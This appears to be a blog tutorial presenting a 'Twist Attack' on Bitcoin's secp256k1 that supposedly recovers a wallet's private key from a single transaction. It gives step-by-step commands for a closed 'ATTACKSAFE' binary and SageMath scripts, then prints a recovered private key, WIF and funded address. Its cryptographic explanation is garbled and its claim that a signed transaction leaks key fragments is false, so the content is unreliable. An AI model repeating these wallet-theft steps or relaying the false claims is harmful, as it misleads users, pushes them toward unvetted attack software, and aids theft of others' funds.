Not so long ago, the elliptic (6.5.4) package for standard elliptic curves was vulnerable to various attacks , one of which is the Twist Attack . The cryptographic problem was in the implementation of secp256k1. We know that the Bitcoin cryptocurrency uses secp256k1 and this attack did not bypass Bitcoin, according to the CVE-2020-28498 vulnerability, the confirming parties of the ECDSA algorithm transaction through certain points on the secp256k1 elliptic curve transmitted partial private key values (simpler subgroups consisting of 5 to 45 bit )
called sextic twiststhis process is so dangerous that it reveals encrypted data after performing a series of ECC operations.
In this article, we will implement a Twist Attack with an example and show how, using certain points on the secp256k1 elliptic curve, we can get partial private key values and restore a Bitcoin Wallet within 5-15 minutes using “Sagemath pollard rho function: (discrete_log_rho)” and “ Chinese Remainder Theorem” .
In other words, these certain points are maliciously chosen points on the secp256k1 elliptic curve
According to Paulo Barreto tweet: https://twitter.com/pbarreto/status/825703772382908416?s=21
The cofactor is 3^2*13^2*3319*22639
E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447
prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447
38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031
HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5
When running a Twist Attack , the “private key” can be obtained by a certain choice of the “public key” (selected point of the secp256k1 elliptic curve), that is, the value in the transaction is revealed.After that, information about the private key will also be revealed, but for this you need to perform several ECC operations.
E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6
y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0 = x³ + 0 + 7
b '= -x ^ 3 - ax.All points
(x, 0)fall on invalid curves withb '= -x ^ 3 - ax
Let’s move on to the experimental part:
(Consider a Bitcoin Address)
(Now consider critical vulnerable transactions)
https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731
Open [TerminalGoogleColab] .
Implementing the Twist Attack algorithm using our 18TwistAttack repository
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/18TwistAttack/
ls
Install all the packages we need
requirements.txt
sudo apt install python2-minimal
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
Prepare RawTX for the attack
1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq
https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731
RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Save in file: RawTX.txt
To implement the attack, we will use the “ATTACKSAFE SOFTWARE” software
www.attacksafe.ru/softwareAccess rights:
chmod +x attacksafe
Application:
./attacksafe -help
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode./attacksafe -version
Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]"ATTACKSAFE SOFTWARE" includes all popular attacks on Bitcoin.
Let’s run a list of all attacks:
./attacksafe -list
Let’s choose -tool: twist_attack
To get specific secp256k1 points from the vulnerable ECDSA signature transaction, we added the data RawTX to a text document and saved it as a file RawTX.txt
0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000Launch -tool twist_attack using software “ATTACKSAFE SOFTWARE”
./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt
We launched this attack from -tool twist_attack and the result was saved to a file SecretPoints.txt
Now to see the successful result, open the file SecretPoints.txt
cat SecretPoints.txtResult:
Elliptic Curve Secret Points:
Q11 = E1([34618671789393965854613640290360235391647615481000045539933705415932995630501, 99667531170720247708472095466452031806107030061686920872303526306525502090483])
Q21 = E2([68702062392910446859944685018576437177285905222869560568664822150761686878291, 78930926874118321017229422673239275133078679240453338682049329315217408793256])
Q22 = E2([36187226669165513276610993963284034580749604088670076857796544959800936658648, 78047996896912977465701149036258546447875229540566494608083363212907320694556])
Q31 = E3([14202326166782503089885498550308551381051624037047010679115490407616052746319, 30141335236272151189582083030021707964727207106390862186771517460219968539461])
Q32 = E3([92652014076758100644785068345546545590717837495536733539625902385181839840915, 110864801034380605661536039273640968489603707115084229873394641092410549997600])
Q33 = E3([13733962489803830542904605575055556603039713775204829607439941608751927073977, 70664870695578622971339822919870548708506276012055865037147804103600164648175])
Q41 = E4([46717592694718488699519343483827728052018707080103013431011626167943885955457, 6469304805650436779501027074909634426373884406581114581098958955015476304831])
Q61 = E6([47561520942485905499349109889401345889145902913672896164353162929760278620178, 23509073020931558264499314846549082835888014703370452565866789873039982616042])
Q62 = E6([54160295444050675202099928029758489687871616334443609215013972520342661686310, 61948858375012652103923933825519305763658240249902247802977736768072021476029])
Q63 = E6([80766121303237997819855855617475110324697780810565482439175845706674419107782, 43455623036669369134087288965186672649514660807369135243341314597351364060230])
Q64 = E6([27687597533944257266141093122549631098147853637408570994849207294960615279263, 8473112666362672787600475720236754473089370067288223871796416412432107486062])
RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
Now let’s add the received secp256k1 points
To do this, open Python-script: discrete.py
To run Python-script: discrete.py install SageMath
Installation command:
sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath
Check the installation of SageMath by command: sage -v
SageMath version 9.0To solve the discrete logarithm (Pollard's rho algorithm for logarithms)run Python-script: discrete.py
Run command:
sage -python3 discrete.py
Result:
Discrete_log_rho:
5663673254
229
19231
43549
11713353
47161820
13016
6068
1461826
5248038982
9034433903442
PRIVATE KEY:
4843137891892877119728403798088723017104154997204069979961743654961499092503privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])
We solved the discrete logarithm and using the “ Chinese Remainder Theorem
(Chinese remainder theorem)” got the private key in decimal format.
Convert private key to HEX format
The decimal format of the private key has been saved to a file: privkey.txt
Run Python-script: privkey2hex.py
python3 privkey2hex.py
cat privkey2hex.txt
Let’s open the resulting file: privkey2hex.txt
Private key in HEX format:
PrivKey = 0ab51e7092866dadf86165ea0d70beb69086237a0e7f5a123d496d3d98e03617
Let’s open bitaddress and check:
ADDR: 1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq
WIF: KwaXPrvbWF5USy3GCh453UDGWXnBSroiKKtE6ebtmHHxGKaRmVD6
HEX: 0AB51E7092866DADF86165EA0D70BEB69086237A0E7F5A123D496D3D98E03617
https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/
BALANCE: $ 775.77
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/S_ZUcM2cD8I
Source: https://cryptodeeptech.ru/twist-attack
